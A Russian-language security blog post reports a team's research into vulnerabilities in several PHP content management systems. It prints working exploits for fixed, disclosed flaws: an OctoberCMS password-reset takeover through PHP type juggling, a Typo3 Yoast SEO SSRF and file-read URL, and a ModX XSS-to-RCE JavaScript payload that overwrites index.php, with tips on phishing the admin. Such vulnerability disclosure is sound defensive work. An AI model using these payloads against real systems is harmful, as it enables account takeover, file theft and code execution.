Видишь уязвимости? А они есть! Наше исследование популярных CMS-систем
Львиная доля всех работ по анализу защищенности внешнего периметра – это тестирование веб-приложений. Здесь могут быть как корпоративные решения, так и «домашние» разработки на базе различных публичных систем управления контентом (CMS). Мы всегда проводим глубокий анализ подобных решений на тестовых стендах и зачастую находим уязвимости нулевого дня. Собственно, из опыта таких проектов и родилась идея собрать исследовательскую команду и провести глубокий анализ популярных CMS-систем и различных плагинов для них. В этом посте мы поделимся результатами нашего исследования, а также продемонстрируем примеры уязвимого кода наиболее интересных, на наш взгляд, уязвимостей и примеры их эксплуатации. Конечно все эти уязвимости уже исправлены и описываются здесь с разрешения владельцев систем.
В рамках исследовательского проекта мы проанализировали следующие CMS с открытым исходным кодом:
ImpressCMS
Contao
Concrete5
ExpressionEngine
Typo3
OctoberCMS
ModX
Почему именно такой выбор? Причин тому несколько:
некоторые из этих продуктов мы довольно часто встречаем у наших заказчиков
все перечисленные системы написаны с использованием PHP, что лично для нас сильно упрощает анализ исходных кодов, т.к. есть соответствующая квалификация.
согласно https://trends.builtwith.com/cms, суммарное количество активных веб-приложений, использующих выбранные CMS, превышает 500 тысяч.
Нашей ключевой целью было обнаружение критичных уязвимостей, которые мы потом сможем использовать в проектах по анализу защищенности, например:
возможность выполнения произвольного кода,
различного рода инъекции (например, SQL),
обход аутентификации,
чтение произвольных файлов системы.
Подход к исследованию
Наш подход заключался в ручном анализе и удаленной отладке указанных систем, при этом мы НЕ использовали никаких автоматизированных средств поиска уязвимостей (сканеров и статических анализаторов кода). Сложно отрицать, что сканеры и анализаторы кода могут существенно упростить и ускорить процесс анализа при большом объеме задач, но мы используем их только в случае крайней необходимости. По нашим наблюдениям, результаты работ подобных утилит имеют определенную ценность, но время, затраченное на анализ отчета, можно потратить в более продуктивном ключе. С нашей точки зрения, процедуры сканирования имеет смысл встраивать в цикл разработки, чтобы править уязвимые куски кода на раннем этапе и не получать огромные отчеты на финальных стадиях.
На каждую систему и плагины к ней мы отводили ровно одну неделю интенсивной работы, а после переходили к следующему приложению из списка.
Для совместной работы мы использовали тестовые виртуальные машины с предустановленным LAMP-стеком и специальным плагином для отладки PHP веб-приложений XDebug (https://xdebug.org/)
XDebug – замечательный плагин для PHP, особенно в сочетании с Visual Studio Code: очень прост в настройке и использовании и при этом позволяет делать всё, что может потребоваться для отладки приложений (точки останова, пошаговая отладка, просмотр стека вызовов, просмотр значений переменных, а также выполнение произвольного PHP-кода в текущем контексте приложения).
Для интересующихся пример конфигурации XDebug для VSCode мы приводим ниже:
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for XDebug",
"type": "php",
"request": "launch",
"port": 9000,
"pathMappings": {
"<Путь к приложению на сервере>":"<Путь к исходным кодам локально>",
}
},
{
"name": "Launch currently open script",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 9000
}
]
}
Ну и, конечно же, в анализе веб-приложений никуда не деться от использования Burp Suite. Кроме базовой функциональности, доступной в данном приложении (Proxy, Repeater, Intruder), мы также используем плагин Hackvector (аналог небезызвестного CyberChef) для упрощения анализа передаваемых данных.
При анализе исходных кодов мы всегда используем один и тот же подход, который, исходя из нашего многолетнего опыта, позволяет покрыть максимум различной функциональности в условиях ограниченного времени. В начале мы «знакомимся» с приложением: работаем с ним, как обычный пользователь, смотрим и собираем потенциально интересный функционал. На следующем этапе проводим первичный анализ исходного кода и сопоставляем обнаруженные сценарии с контроллерами приложения, а также в целом смотрим на то, как приложение написано и анализируем использование потенциально небезопасных функций (для PHP таковыми, например, являются exec, shell_exec, system, passthru, pcntl_exec, popen, proc_open, eval, create_function, file_get_contents, file_put_contents, readfile, include, require, require_once, include_once). Затем ищем функции, принимающие на вход данные от пользователя, и анализируем их дальнейшее использование.
Тут в очередной раз нас выручает VSCode, который позволяет быстро посмотреть места, где определены и используются переменные и функции.
Результаты
На старте этого проекта мы были настроены не то чтобы пессимистично, но наши ожидания по поводу результатов были крайне приземленные – ведь системы управления контентом, которые мы исследовали, уже довольно давно присутствуют на рынке, их исходные коды находятся в публичном доступе, у половины из них есть bug-bounty программы на популярных платформах (например, HackerOne). Вероятно, эти системы были не единожды проанализированы – вряд ли там есть что-то критичное. Так ведь?
Статистика обнаруженных уязвимостей, приведенная ниже, учитывает не только ядро исследуемых систем, но и плагины к ним.
Тип уязвимости | Суммарное количество обнаруженных |
XSS | 20 |
SQLi | 16 |
XSSI | 2 |
Path Traversal | 9 |
SSRF | 8 |
Обход аутентификации (Authentication Bypass) | 1 |
Захват аккаунтов (Account Takeover) | 1 |
SSTI | 3 |
Чтение произвольных файлов файловой системы (Arbitrary File Read) | 4 |
Доступность файлов, содержащих чувствительную информацию (бэкапы) | 1 |
Внедрение произвольного кода (Code Injection) | 2 |
CSRF | 8 |
DOS | 1 |
Небезопасная загрузка файлов | 3 |
Обход встроенных механизмов защиты от SQL-инъекций | 1 |
Ниже мы приведем примеры эксплуатации и уязвимый код наиболее интересных, на наш взгляд, уязвимостей.
OctoberCMS
Структура тестового стенда:
Версия OctoberCMS - OctoberCMS 1.0.471 (November 22, 2020)
Версия PHP: PHP 7.2.24-0ubuntu0.18.04.7
Версия MYSQL: 5.7.32-0ubuntu0.18.04.1-log
В рамках анализа данной системы нам удалось обнаружить, что неавторизованный злоумышленник может получить доступ к любому аккаунту с использованием функциональности сброса пароля. Для этого ему достаточно обладать только следующей информацией:
ID аккаунта (инкрементальные числа от 1)
Логин аккаунта
Рассмотрим непосредственно уязвимый код:
/octobercms/vendor/october/rain/src/Auth/Models/User.php, line 281
275 public function checkResetPasswordCode($resetCode) 276 { 277 if (!$resetCode || !$this->reset_password_code) { 278 return false; 279 } 280 281 return ($this->reset_password_code == $resetCode); |
Как видно из названия функции, она занимается проверкой корректности переданного кода восстановления пароля. При этом параметр «$resetCode» – это переданный атакующим токен, тогда как «$this->reset_password_code» – это строка, сгенерированная при запросе на сброс пароля и сохраненная в базе данных.
Те, кто ранее занимался разработкой на PHP или анализом кода, уже сейчас могут сказать, в чем состоит уязвимость. Остальным необходимо обратить внимание на следующую строчку:
return ($this->reset_password_code == $resetCode); |
Тут происходит сравнение переданного нами кода восстановления с тем, что сгенерировала и сохранила в базу система. Однако сравнение происходит с использованием двух знаков «=». В PHP это обозначает нестрогое сравнение, что приводит к уязвимости Type Juggling (ссылка на статью для тех, кто хочет разобраться более подробно).
Процесс эксплуатации начинается со сброса пароля пользователя системы, для чего требуется знать непосредственно его логин. Учитывая, что при установке системы предлагается использовать логин «admin» для первой учетной записи, есть крайне неплохие шансы его угадать.
Запрос на сброс пароля выглядит следующим образом:
POST /octobercms/octobercms/backend/backend/auth/restore HTTP/1.1
Host: <HOST>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:87.0) Gecko/20100101 Firefox/87.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Cookie: <COOKIE>
_session_key=LY47m06yhjbbCbOyuVbYUko4B5WdLSBStM8EguBK&
_token=ovojVwSUxLU9gjafckWGhaSAuAfZoTpVPEXDgjTf&postback=1&login=admin
Параметры «_session_key» и «_token» служат для защиты от CSRF атак, но для автоматизации могут быть получены непосредственно со страницы сброса пароля.
Далее нам необходимо получить аналогичные параметры, но уже для формы изменения пароля с помощью запроса к «/octobercms/octobercms/backend/backend/auth/reset/1/<Тут можно вставить любое значение>»
Остается главный вопрос – что делать с кодом восстановления? Как видно из листинга выше все отправляемые POST запросы используют «Content-Type: application/x-www-form-urlencoded», что приводит к тому, что переданные параметры будут интерпретированы системой, как строка. В данной ситуации проэксплуатировать уязвимость не получится, так ведь?
Рассмотрим более подробно то, как в целом система обрабатывает запросы. Все начинается с файла «index.php», в котором создается новый объект приложения (строка 40) и запускается обработчик запросов (строки 42-43).
Файл index.php
40 $kernel = $app->make('Illuminate\Contracts\Http\Kernel'); 41 42 $response = $kernel->handle( 43 $request = Illuminate\Http\Request::capture() 44 ); |
Как видно из данного кода, OctoberCMS построена на основе Laravel. При обработке запросов Laravel проверяет Content-Type и, если он соответствует «application/json» вызывает функцию «json», которая преобразует данные в соответствующем формате в их внутреннее представление (строка 322):
Файл /vendor/laravel/framework/src/Illuminate/Http/Request.php
319 public function json($key = null, $default = null) 320 { 321 if (! isset($this->json)) { 322 $this->json = new ParameterBag((array) json_decode($this->getContent(), true)); 323 } 324 325 if (is_null($key)) { 326 return $this->json; 327 } 328 329 return data_get($this->json->all(), $key, $default); 330 } |
Почему так важно, что OctoberCMS обрабатывает данные в формате JSON? Как всем известно, данный формат позволяет передавать типизированные данные, например в формате «boolean». Внимательный читатель уже догадался, к чему мы ведем.
Следующий запрос приведет к тому, что значение «$resetCode» будет равно «true», что пройдет все проверки безопасности и сбросит пароль учетной записи:
POST /octobercms/octobercms/backend/backend/auth/reset/1/1 HTTP/1.1 Host: 192.168.255.78 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0 Content-Type: application/json Content-Length: 158 {"_session_key":"xMynvPJf5VRiR3xG596wU2Me8HCLviF234VMNULp", "_token":"n1noob7qnxvCLicVFdm4BZxoI9D3qeNRYJWWZRpj", "postback":1,"id":1,"code":true,"password":"test1"} |
Как же исправить данную критичную уязвимость? Использовать три знака «равно» вместо двух при сравнении ;).
Исправление данной уязвимости уже присутствует в системе. Поэтому мы крайне рекомендуем обновиться уже вчера.
Рекомендации по исправлению от производителя ПО.
Typo 3 (Плагин Yoast SEO)
Структура тестового стенда:
Версия Typo3 – Typo3 10.4.12
Версия Yoast SEO - 7.1.3
Версия PHP: PHP 7.2.24-0ubuntu0.18.04.7
Версия MYSQL: 5.7.32-0ubuntu0.18.04.1-log
Анализируя модули данной системы, мы обнаружили, что довольно популярный плагин «Yoast Seo» подвержен уязвимости, которая позволяет выполнять произвольные запросы от имени сервера (SSRF), а также читать локальные файлы системы.
После установки «Yoast Seo» регистрирует следующие маршруты в приложении и соответствующие им контроллеры обработчиков:
'ajax_yoast_preview' => array ( 'path' => '/ajaxyoast/preview', 'target' => 'YoastSeoForTypo3\\YoastSeo\\Controller\\AjaxController::previewAction', 'ajax' => true, ), 'ajax_yoast_save_scores' => array ( 'path' => '/ajaxyoast/savescores', 'target' => 'YoastSeoForTypo3\\YoastSeo\\Controller\\AjaxController::saveScoresAction', 'ajax' => true, ),
|
Рассмотрим более подробно исходный код следующего контроллера: «YoastSeoForTypo3\\YoastSeo\\Controller\\AjaxController».
Файл yoast_seo/yoast_seo/Classes/Controller/AjaxController.php
16 class AjaxController 17 { 18 /** 19 * @param \Psr\Http\Message\ServerRequestInterface $request 20 * @param \Psr\Http\Message\ResponseInterface $response 21 * @return \Psr\Http\Message\ResponseInterface 22 * @throws \Exception 23 */ 24 public function previewAction( 25 ServerRequestInterface $request 26 ): ResponseInterface { 27 $queryParams = $request->getQueryParams(); 28 29 $previewService = GeneralUtility::makeInstance(PreviewService::class); 30 $content = $previewService->getPreviewData( 31 $queryParams['uriToCheck'], 32 (int)$queryParams['pageId'] 33 ); 34 35 return new HtmlResponse($content); 36 } |
Нас интересуют строки 27, 30-33, в которых приложение получает параметры из GET запроса («$request->getQueryParams()») и сохраняет их в ассоциативный массив «$queryParams», данные которого далее передаются в функцию «$previewService->getPreviewData». Обратим внимание, что по крайней мере на данном этапе не происходит фильтрации передаваемых данных.
Функция «$previewService->getPreviewData» описана в файле «yoast_seo/yoast_seo/Classes/Service/PreviewService.php »
Файл yoast_seo/yoast_seo/Classes/Service/PreviewService.php
39 public function getPreviewData($uriToCheck, $pageId) 40 { 41 $this->pageId = $pageId; 42 43 $this->cObj = GeneralUtility::makeInstance(ContentObjectRenderer::class); 44 45 try { 46 $content = $this->getContentFromUrl($uriToCheck); 47 $data = $this->getDataFromContent($content, $uriToCheck); <SNIPPED> 66 protected function getContentFromUrl($uriToCheck): string 67 { 68 $backupSettings = $GLOBALS['TYPO3_CONF_VARS']['HTTP']; 69 $this->setHttpOptions(); 70 $report = []; 71 $content = GeneralUtility::getUrl( 72 $uriToCheck, 73 1, 74 [ 75 'X-Yoast-Page-Request' => GeneralUtility::hmac( 76 $uriToCheck 77 ) 78 ], 79 $report 80 ); |
Переданные нами данные «$uriToCheck» попадают в функцию «$this->getContentFromUrl» (строка 46), в которой происходит вызов уже стандартного метода Typo3 «GeneralUtility::getUrl» (строка 71)
Здесь стоит сделать небольшое отступление и поговорить вот о чем: многие системы управления контентом разрабатываются с упором на то, что их функциональность может и будет расширяться различными модулями, и Typo3 тут не исключение. Для этого разработчики предоставляют довольно широкий набор классов и методов для взаимодействия с основными элементами приложения, но зачастую проведение всех проверок безопасности остается на авторах конкретного плагина. В итоге стандартные модули и функции пишутся с учетом всех возможных вариантов использования и интегрируются в код модулей без должного их анализа.
Так, авторы стандартного метода Typo3 «GeneralUtility::getUrl» предусмотрели возможность использование любых схем в URI через вызов «file_get_contents» (строка 1802), что приводит к возможности чтения локальных файлов системы.
Файл /typo3_src/typo3/sysext/core/Classes/Utility/GeneralUtility.php
1731 public static function getUrl($url, $includeHeader = 0, $requestHeaders = null, &$report = null) 1732 { <SNIPPED> 1741 if (preg_match('/^(?:http|ftp)s?|s(?:ftp|cp):/', $url)) { <SNIPPED> 1798 } else { 1799 if (isset($report)) { 1800 $report['lib'] = 'file'; 1801 } 1802 $content = @file_get_contents($url); 1803 if ($content === false && isset($report)) { 1804 $report['error'] = -1; 1805 $report['message'] = 'Couldn\'t get URL: ' . $url; 1806 } 1807 } 1808 return $content; 1809 } |
Пример эксплуатации:
http://192.168.255.78/typo3/typo3/index.php?route=/ajaxyoast/preview &uriToCheck=php://filter/resource=/var/www/html/index.html&pageId=1 |
ModX
Структура тестового стенда:
Версия ModX – MODX Revolution 2.8.1-pl (October 22, 2020)
Версия PHP: PHP 7.2.24-0ubuntu0.18.04.7
Версия MYSQL: 5.7.32-0ubuntu0.18.04.1-log
Напоследок хотим показать уязвимость, ставшую легендарной, – RCE через XSS.
Привилегированная учетная запись ModX имеет права на редактирование любого файла приложения, включая исполняемые. Стоит отметить интересный момент: для защиты от CSRF-атак используется параметр HTTP_MODAUTH, значение которого можно также получить с помощью JavaScript из переменной «MODx.siteId»
Следующий код позволяет перезаписать нам файл «index.php», добавив в его начало произвольный код и не поломав при этом работу всего приложения.
JavaScript-код, эксплуатирующий уязвимость:
let xhr = new XMLHttpRequest(); xhr.open("POST", "http://192.168.255.78/modx/connectors/index.php"); xhr.withCredentials = true; xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=utf-8'); xhr.send("action=browser%2Ffile%2Fupdate&file=index.php&wctx=mgr&source=1&name=index.php&content=%3C%3Fphp%0A<JUST PASTE YOUR CODE HERE>%2F*%0A%20*%20This%20file%20is%20part%20of%20MODX%20Revolution.%0A%20*%0A%20*%20Copyright%20(c)%20MODX%2C%20LLC.%20All%20Rights%20Reserved.%0A%20*%0A%20*%20For%20complete%20copyright%20and%20license%20information%2C%20see%20the%20COPYRIGHT%20and%20LICENSE%0A%20*%20files%20found%20in%20the%20top-level%20directory%20of%20this%20distribution.%0A%20*%2F%0A%0A%24tstart%3D%20microtime(true)%3B%0A%0A%2F*%20define%20this%20as%20true%20in%20another%20entry%20file%2C%20then%20include%20this%20file%20to%20simply%20access%20the%20API%0A%20*%20without%20executing%20the%20MODX%20request%20handler%20*%2F%0Aif%20(!defined('MODX_API_MODE'))%20%7B%0A%20%20%20%20define('MODX_API_MODE'%2C%20false)%3B%0A%7D%0A%0A%2F*%20include%20custom%20core%20config%20and%20define%20core%20path%20*%2F%0A%40include(dirname(__FILE__)%20.%20'%2Fconfig.core.php')%3B%0Aif%20(!defined('MODX_CORE_PATH'))%20define('MODX_CORE_PATH'%2C%20dirname(__FILE__)%20.%20'%2Fcore%2F')%3B%0A%0A%2F*%20include%20the%20modX%20class%20*%2F%0Aif%20(!%40include_once%20(MODX_CORE_PATH%20.%20%22model%2Fmodx%2Fmodx.class.php%22))%20%7B%0A%20%20%20%20%24errorMessage%20%3D%20'Site%20temporarily%20unavailable'%3B%0A%20%20%20%20%40include(MODX_CORE_PATH%20.%20'error%2Funavailable.include.php')%3B%0A%20%20%20%20header(%24_SERVER%5B'SERVER_PROTOCOL'%5D%20.%20'%20503%20Service%20Unavailable')%3B%0A%20%20%20%20echo%20%22%3Chtml%3E%3Ctitle%3EError%20503%3A%20Site%20temporarily%20unavailable%3C%2Ftitle%3E%3Cbody%3E%3Ch1%3EError%20503%3C%2Fh1%3E%3Cp%3E%7B%24errorMessage%7D%3C%2Fp%3E%3C%2Fbody%3E%3C%2Fhtml%3E%22%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0A%2F*%20start%20output%20buffering%20*%2F%0Aob_start()%3B%0A%0A%2F*%20Create%20an%20instance%20of%20the%20modX%20class%20*%2F%0A%24modx%3D%20new%20modX()%3B%0Aif%20(!is_object(%24modx)%20%7C%7C%20!(%24modx%20instanceof%20modX))%20%7B%0A%20%20%20%20ob_get_level()%20%26%26%20%40ob_end_flush()%3B%0A%20%20%20%20%24errorMessage%20%3D%20'%3Ca%20href%3D%22setup%2F%22%3EMODX%20not%20installed.%20Install%20now%3F%3C%2Fa%3E'%3B%0A%20%20%20%20%40include(MODX_CORE_PATH%20.%20'error%2Funavailable.include.php')%3B%0A%20%20%20%20header(%24_SERVER%5B'SERVER_PROTOCOL'%5D%20.%20'%20503%20Service%20Unavailable')%3B%0A%20%20%20%20echo%20%22%3Chtml%3E%3Ctitle%3EError%20503%3A%20Site%20temporarily%20unavailable%3C%2Ftitle%3E%3Cbody%3E%3Ch1%3EError%20503%3C%2Fh1%3E%3Cp%3E%7B%24errorMessage%7D%3C%2Fp%3E%3C%2Fbody%3E%3C%2Fhtml%3E%22%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0A%2F*%20Set%20the%20actual%20start%20time%20*%2F%0A%24modx-%3EstartTime%3D%20%24tstart%3B%0A%0A%2F*%20Initialize%20the%20default%20'web'%20context%20*%2F%0A%24modx-%3Einitialize('web')%3B%0A%0A%2F*%20execute%20the%20request%20handler%20*%2F%0Aif%20(!MODX_API_MODE)%20%7B%0A%20%20%20%20%24modx-%3EhandleRequest()%3B%0A%7D%0A&HTTP_MODAUTH="+MODx.siteId); xhr.onload = () => alert(xhr.response); |
Теперь осталось закодировать наш эксплойт в Base64 и отправить админу ссылку и сделать все возможное, чтобы он по ней кликнул. Милые котики в письме, горячие девушки на районе или скидочный купон на крафт – выбор подходящего стимула ограничивается только фантазией. Так или иначе переход админа по ссылке даст вам возможность выполнять произвольный код в системе.
Пример эксплуатации:
http://192.168.255.78/modx/manager/?a=browser/&key=rrrrrrrrrrrrr&ctx=?%22;eval(atob(%27<BASE64 закодированный код из листинга выше>%27));// |
Генерируем пейлоад, содержащий команды «whoami» и «ifconfig»
В результате наш JavaScript-код будет внедрен на страницу и успешно выполнен от имени привилегированного пользователя
Что приведет к перезаписи содержимого файла «index.php» и выполнению произвольного кода:
Заключение
Обнаруженные нами уязвимости уже переданы и подтверждены производителями ПО и авторами плагинов для них. Стоит отметить замечательную команду Typo3, которая взяла на себя весь процесс общения с авторами уязвимых плагинов, а также их молниеносную реакцию на наш отчет и в целом очень позитивную коммуникацию.
Уязвимости уже в основном исправлены, поэтому, если вы используете указанные системы, мы настоятельно рекомендуем обновиться уже сейчас.
Также еще раз хотим обратить внимание, что несмотря на то, что исследованные системы давно находятся на рынке, а исходные коды есть в публичном доступе, и по многим из этих систем действуют программы Bug Bounty, все равно удается находить критичные уязвимости. Внедряя подобные продукты, нужно обязательно проводить полномасштабный анализ и использовать доступные средства защиты (например, Web Application Firewall).
Также необходим полноценный мониторинг и налаженный процесс реагирования на инциденты. И лучшим выбором здесь будет использование SOC (кстати, для того чтобы быть в курсе лучших практик в этом направлении, рекомендуем заглядывать в блог нашего Solar JSOC).
Ключевые участники проекта
Андрей Басарыгин
Максим Теплых
Михаил Храменков
Андрей Гузей
Александр Колесов
Александр Сидуков